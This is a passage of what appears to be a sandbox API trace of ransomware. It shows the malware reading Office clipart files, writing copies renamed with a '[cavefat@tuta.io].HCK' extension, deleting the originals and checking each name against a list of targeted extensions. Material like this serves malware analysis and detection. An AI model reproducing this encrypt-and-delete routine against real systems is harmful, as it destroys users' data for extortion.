office\\root\\clipart\\pub60cor\\na00042_.wmf")) returned 0x220 [0178.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.181] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.181] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.186] GetLastError () returned 0x0 [0178.186] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5044, lpOverlapped=0x0) returned 1 [0178.188] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5050, lpOverlapped=0x0) returned 1 [0178.189] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.189] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.189] SetEndOfFile (hFile=0x300) returned 1 [0178.191] CloseHandle (hObject=0x300) returned 1 [0178.192] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.192] SetEndOfFile (hFile=0x370) returned 1 [0178.193] CloseHandle (hObject=0x370) returned 1 [0178.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf")) returned 1 [0178.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.195] lstrlenW (lpString=".doc") returned 4 [0178.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString=".docx") returned 5 [0178.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.195] lstrlenW (lpString=".pdf") returned 4 [0178.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString=".xls") returned 4 [0178.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.195] lstrlenW (lpString=".xlsx") returned 5 [0178.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.195] lstrlenW (lpString=".ppt") returned 4 [0178.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.195] lstrlenW (lpString=".zip") returned 4 [0178.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.195] lstrlenW (lpString=".rar") returned 4 [0178.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString=".bz2") returned 4 [0178.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString=".7z") returned 3 [0178.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.195] lstrlenW (lpString=".dbf") returned 4 [0178.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.195] lstrlenW (lpString=".1cd") returned 4 [0178.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.195] lstrlenW (lpString=".jpg") returned 4 [0178.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.195] lstrlenW (lpString=".doc") returned 4 [0178.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString=".docx") returned 5 [0178.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.195] lstrlenW (lpString=".pdf") returned 4 [0178.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.195] lstrlenW (lpString=".xls") returned 4 [0178.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.195] lstrlenW (lpString=".xlsx") returned 5 [0178.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.196] lstrlenW (lpString=".ppt") returned 4 [0178.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.196] lstrlenW (lpString=".zip") returned 4 [0178.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.196] lstrlenW (lpString=".rar") returned 4 [0178.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.196] lstrlenW (lpString=".bz2") returned 4 [0178.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.196] lstrlenW (lpString=".7z") returned 3 [0178.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.196] lstrlenW (lpString=".dbf") returned 4 [0178.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.196] lstrlenW (lpString=".1cd") returned 4 [0178.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF") returned 68 [0178.196] lstrlenW (lpString=".jpg") returned 4 [0178.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.196] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.196] lstrlenW (lpString="NA00238_.WMF") returned 12 [0178.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.197] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4996) returned 1 [0178.197] CloseHandle (hObject=0x368) returned 1 [0178.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf")) returned 0x220 [0178.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.205] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.205] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.207] GetLastError () returned 0x0 [0178.207] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1384, lpOverlapped=0x0) returned 1 [0178.209] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1390, lpOverlapped=0x0) returned 1 [0178.210] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.210] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.210] SetEndOfFile (hFile=0x2fc) returned 1 [0178.214] CloseHandle (hObject=0x2fc) returned 1 [0178.215] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.215] SetEndOfFile (hFile=0x3a4) returned 1 [0178.217] CloseHandle (hObject=0x3a4) returned 1 [0178.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf")) returned 1 [0178.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.219] lstrlenW (lpString=".doc") returned 4 [0178.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString=".docx") returned 5 [0178.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.219] lstrlenW (lpString=".pdf") returned 4 [0178.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString=".xls") returned 4 [0178.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.219] lstrlenW (lpString=".xlsx") returned 5 [0178.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.219] lstrlenW (lpString=".ppt") returned 4 [0178.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.219] lstrlenW (lpString=".zip") returned 4 [0178.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.219] lstrlenW (lpString=".rar") returned 4 [0178.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString=".bz2") returned 4 [0178.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString=".7z") returned 3 [0178.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.219] lstrlenW (lpString=".dbf") returned 4 [0178.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.219] lstrlenW (lpString=".1cd") returned 4 [0178.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.219] lstrlenW (lpString=".jpg") returned 4 [0178.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.219] lstrlenW (lpString=".doc") returned 4 [0178.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString=".docx") returned 5 [0178.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.219] lstrlenW (lpString=".pdf") returned 4 [0178.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString=".xls") returned 4 [0178.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.219] lstrlenW (lpString=".xlsx") returned 5 [0178.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.219] lstrlenW (lpString=".ppt") returned 4 [0178.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.219] lstrlenW (lpString=".zip") returned 4 [0178.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.220] lstrlenW (lpString=".rar") returned 4 [0178.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.220] lstrlenW (lpString=".bz2") returned 4 [0178.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.220] lstrlenW (lpString=".7z") returned 3 [0178.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.220] lstrlenW (lpString=".dbf") returned 4 [0178.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.220] lstrlenW (lpString=".1cd") returned 4 [0178.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF") returned 68 [0178.220] lstrlenW (lpString=".jpg") returned 4 [0178.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.220] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.220] lstrlenW (lpString="NA00390_.WMF") returned 12 [0178.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.221] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8642) returned 1 [0178.221] CloseHandle (hObject=0x368) returned 1 [0178.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf")) returned 0x220 [0178.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.230] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.230] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.236] GetLastError () returned 0x0 [0178.236] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x21c2, lpOverlapped=0x0) returned 1 [0178.238] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x21d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x21d0, lpOverlapped=0x0) returned 1 [0178.238] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.239] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.239] SetEndOfFile (hFile=0x3a4) returned 1 [0178.241] CloseHandle (hObject=0x3a4) returned 1 [0178.242] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.242] SetEndOfFile (hFile=0x370) returned 1 [0178.244] CloseHandle (hObject=0x370) returned 1 [0178.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf")) returned 1 [0178.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.245] lstrlenW (lpString=".doc") returned 4 [0178.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.245] lstrlenW (lpString=".docx") returned 5 [0178.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.245] lstrlenW (lpString=".pdf") returned 4 [0178.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.245] lstrlenW (lpString=".xls") returned 4 [0178.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.246] lstrlenW (lpString=".xlsx") returned 5 [0178.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.246] lstrlenW (lpString=".ppt") returned 4 [0178.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.246] lstrlenW (lpString=".zip") returned 4 [0178.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.246] lstrlenW (lpString=".rar") returned 4 [0178.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString=".bz2") returned 4 [0178.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString=".7z") returned 3 [0178.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.246] lstrlenW (lpString=".dbf") returned 4 [0178.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.246] lstrlenW (lpString=".1cd") returned 4 [0178.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.246] lstrlenW (lpString=".jpg") returned 4 [0178.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.246] lstrlenW (lpString=".doc") returned 4 [0178.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString=".docx") returned 5 [0178.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.246] lstrlenW (lpString=".pdf") returned 4 [0178.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.246] lstrlenW (lpString=".xls") returned 4 [0178.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.246] lstrlenW (lpString=".xlsx") returned 5 [0178.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.247] lstrlenW (lpString=".ppt") returned 4 [0178.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.247] lstrlenW (lpString=".zip") returned 4 [0178.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.247] lstrlenW (lpString=".rar") returned 4 [0178.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString=".bz2") returned 4 [0178.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString=".7z") returned 3 [0178.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.247] lstrlenW (lpString=".dbf") returned 4 [0178.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.247] lstrlenW (lpString=".1cd") returned 4 [0178.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 68 [0178.247] lstrlenW (lpString=".jpg") returned 4 [0178.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.247] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.247] lstrlenW (lpString="NA00396_.WMF") returned 12 [0178.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.251] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=14534) returned 1 [0178.251] CloseHandle (hObject=0x2fc) returned 1 [0178.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf")) returned 0x220 [0178.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00396_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00396_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 